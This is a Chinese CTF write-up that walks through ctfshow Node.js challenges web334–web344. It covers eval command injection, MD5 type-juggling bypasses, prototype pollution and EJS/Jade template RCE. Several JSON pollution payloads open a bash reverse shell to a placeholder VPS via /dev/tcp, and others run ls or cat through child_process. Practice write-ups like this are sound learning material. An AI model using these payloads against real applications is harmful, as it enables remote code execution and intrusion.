nodejs官方中文文档,不明白的东西可以进去查 文档

这篇文章写的很好 —-> nodejs的wp

web334

题目

image-20230130180353006

这里的把文件下载下来,添加后缀.zip就可以看到有两个文件在压缩包里

image-20230130180558359

user.js

1
2
3
4
5
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};

login.js

1
2
3
4
5
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};

就上面的代码时解题关键

其中toUpperCase()函数为转为大写 用户名不能为大写

所以payload

1
username=ctfshow passwd=123456

yu师傅给的一个小trick

1
2
Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

web335

题目

image-20230130182055210

nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。

这道题用到的方法

可以去看看,并不难看懂

payload1

1
require('child_process').execSync('ls').toString()

payload2

1
2
eval=require('child_process').spawnSync('ls').stdout.toString();
eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

这里先是用require调用child_process这模块,然后在调用这个模块里面的函数方法

image-20230130190208919

发现一个fl00g.txt,然后直接读取就好了

image-20230130190401823

这两个payload的区别,就是有无args的区别,详细的话可以自己去上面给的链接里看

web336

题目

image-20230130190632098

查看源代码又发现是eval

这道题ban了exec

那么这个payload还能用

1
2
eval=require('child_process').spawnSync('ls').stdout.toString();
eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

方法二

1
2
__filename
__dirname

image-20230130191842257

image-20230130191908490

简单点说就是__filename就是返回当前目录的所处的全路径,dirname就是返回当前文件所处的位置,不包含文件本身

image-20230130192136886

然后就利用fs模块里边的readFileSync函数读取文件(在文章开头给的文档链接里边可以查到)

image-20230130192447476

发现过滤了exec和load(查看index.js)发现的

payload

1
?eval=require("child_process")['exe'%2B'cSync']('ls').toString()

这里的加号要进行url编码,就是编码为%2B(类似ssti用[]绕过.)

payload

1
2
?eval=require('fs').readdirSync('.')
?eval=require('fs').readFileSync('fl001g.txt','utf-8')

web337

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}

});

module.exports = router;

上面的a,b都是利用get方法进行传参,不理解的nodejs代码的可以看一下下面这篇文章

nodejs的get和post

这里的话是nodejs的弱类型比较,第一次见

解题关键就在于怎么绕过这个判断了。

这里的思路是利用数组绕过。

nodejs的拼接问题

1
2
3
4
console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6

这时候就有一种思路了,就是类似['a']+flag==='a'+flag这样的,比如flag是flag{123},那么最后得到的都是aflag[123},因此这个也肯定成立:md5(['a']+flag)===md5('a'+flag),同时也满足a!==b

payload

1
?a[]=1&b[]=1

这里为了相等就是因为要使md5加密相等

解法二

还有一种思路。理解一下javascript的数组,会发现它相对来说,和python的列表更为相像,而不像php的数组,因为它只能是数字索引,那么如果传非数字索引呢?:

1
?a[x]=1&b[x]=2

变成javascript中的对象了。而对象又有这样的特点:

1
2
3
4
5
let a={
x:'1'
}
console.log(a+"flag{123}")
//返回的是: [object Object]flag{123}

因此传入两个对象,进行变量拼接后得到的都是[object Object]ctfshow{xxxxxx},再进行md5肯定也是相同的。本来我以为还需要让a对象和b对象的有不同的键或者虽然键全是相同的,但是有值不同,这样来满足a!==b,但是发现并不需要,因为甚至这样,返回的都是false:

1
2
3
4
5
6
7
8
let a={
x:'1'
}
let b={
x:'2'
}
console.log(a===b)
//false

感觉这部分就和java有点像了,两个对象直接比较并不是说比较属性啥的,而是通过引用(内存里的位置)比较的,因此自然a!==b。
这样的话值就可以不相等了,因为最后解析都是会解析 成Object

web338(原链污染)

题目

image-20230130221831198

可以看看p神写的文章

这篇

源码里的东西

login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

module.exports = router;

其中还require了一个utils/common

然后就去查看一下,发现common.js

1
2
3
4
5
6
7
8
9
10
11
12
13
module.exports = {
copy:copy
};

function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

顺便在看的时候发现common.js和P神里面举例的JS可以说是一模一样

只要secert.ctfshow===’36dboy’就会打印出flag。考点是原型链污染,第一次接触

payload

1
utils.copy(user,req.body);,这里就是突破口,通过给Object添加ctfshow的属性,使 if(secert.ctfshow==='36dboy')返回ture即可

因为comment.js代码就是nodejs污染

payload

image-20230130230002185

web339(模板渲染rce 原型链污染)

题目

image-20230131203939821

原型链污染都是依靠修改object下的参数进行污染,而创建的对象要想达到object这个对象的话,得使用proto

login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

function User(){
this.username='';
this.password='';
}
function normalUser(){
this.user
}


/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

module.exports = router;

这想要是secert.ctfshow===flag是不可能的事,那我们就只能想别的办法

这里给的源文件多出一个api.js

api.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});

});

module.exports = router;

这里的话是在function函数中的模板渲染,也是可以同过原型链污染query进行模板渲染的rce

这个render函数实际上是渲染函数,会在出现特定请求的时候执行特定操作

经过测试,query参数的值是可以直接当做语句来执行的

先/login那里污染一下发包,然后再post访问一下/api即可。

payload

1
{"username":"admin","password":"admin","__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"')"}}

payload中不用require的原因是这个:

1
Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。

这里的话得在服务器的防火墙那添加监听端口,不然会监听不成功。

image-20230201184758003

如果监听的是9999端口,就新开一个9999端口。

第一步,新监听一个端口

image-20230201184938137

第二步**(反弹shell)**

先/login那里污染一下发包,然后再post访问一下/api即可。

image-20230201185729072

文中标记的地方要记得修改

image-20230201185805509

image-20230201185855177

监听端口出现这就代表成功了,这里访问api的原因是,因为在/logion里object类里修改了query的值,然后触发点在/api的代码里。

解法二

是利用ejs的模板引擎漏洞

payload

1
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2"}}

解法步骤和上面一样,是先污染/login,然后在访问api

web340(两层污染)

题目

image-20230201190842269

login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}


});

module.exports = router;

api.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});

});

module.exports = router;

image-20230201191036822

就是这里的不一样,这里想要修改isAdmin的值的话,得转到object,因经过测试,userinfo.__proto__.__proto__` 才是 `Object 对象。

image-20230201191809798

payload

1
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/111.11.111.11/11111 0>&1\"')"}}}

解法和上一题一样,先污染/login,然后在访问/api

web341(两层污染加ejs)

题目

image-20230201193633584

这题和其他不同的是没有 /api 接口触发污染点了,所以使用 ejs RCE。

然后像 web340 一样污染要套两层。下面 EXP 也服务器监听端口是 9999

login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

});

module.exports = router;

这就是为什么要污染两层的原因

index.js

1
2
3
4
5
6
7
8
9
10
11
var express = require('express');
var router = express.Router();

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
res.render('index');
});

module.exports = router;

这里的话,render触发由api.js改到了index.js

payload

1
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/111.11.111.111/11111 0>&1\"');var __tmp2"}}}

先去污染/login,然后再去抓index.js的包,触发render

image-20230201205016149

web342(jade模板渲染)

题目

image-20230201205558380

index.js

1
2
3
4
5
6
7
8
9
10
11
var express = require('express');
var router = express.Router();

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
res.render('index',{title:'ctfshow'});
});

module.exports = router;

login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

});

module.exports = router;

这题难度太大,看着wp都看不懂,直接拿payload打就行了

别的师傅写的超详细wp

几个node模板引擎的原型链污染分析

payload

1
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xx/xx 0>&1\"')"}}}

方法和ejs渲染一样

web343(jade模板渲染 加了过滤)

题目

image-20230201211333400

源码

login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
if(JSON.stringify(req.body).match(/Text/ig)){
res.end('hacker go away');
}else{
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

}


});

module.exports = router;

payload

1
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"')"}}}

和上一题一样

web344()

题目

image-20230201211803497

题目给的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}

});

正常就是这样:?query={"name":"admin","password":"ctfshow","isVIP":true},但是不行,发现把逗号给过滤了

HTTP协议中允许同名参数出现多次,不同服务端对同名参数处理都是不一样的,下面链接列举了一些

https://www.cnblogs.com/AtesetEnginner/p/12375499.html

nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析。

这样传:?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

payload

1
?query={%22name%22:%22admin%22&query=%22password%22:%22%63tfshow%22&query=%22isVIP%22:true}

首先就是node.js处理req.query.query的时候,它不像php那样,后面get传的query值会覆盖前面的,而是会把这些值都放进一个数组中。而JSON.parse居然会把数组中的字符串都拼接到一起,再看满不满足格式,满足就进行解析,因此这样分开来传就可以绕过逗号了。至于c那个之所以要再进行url编码成%63,就是因为前面的%22,会造成%22c,正好ban了2c,所以c也需要进行url编码。学到了学到了,很有意思的特性。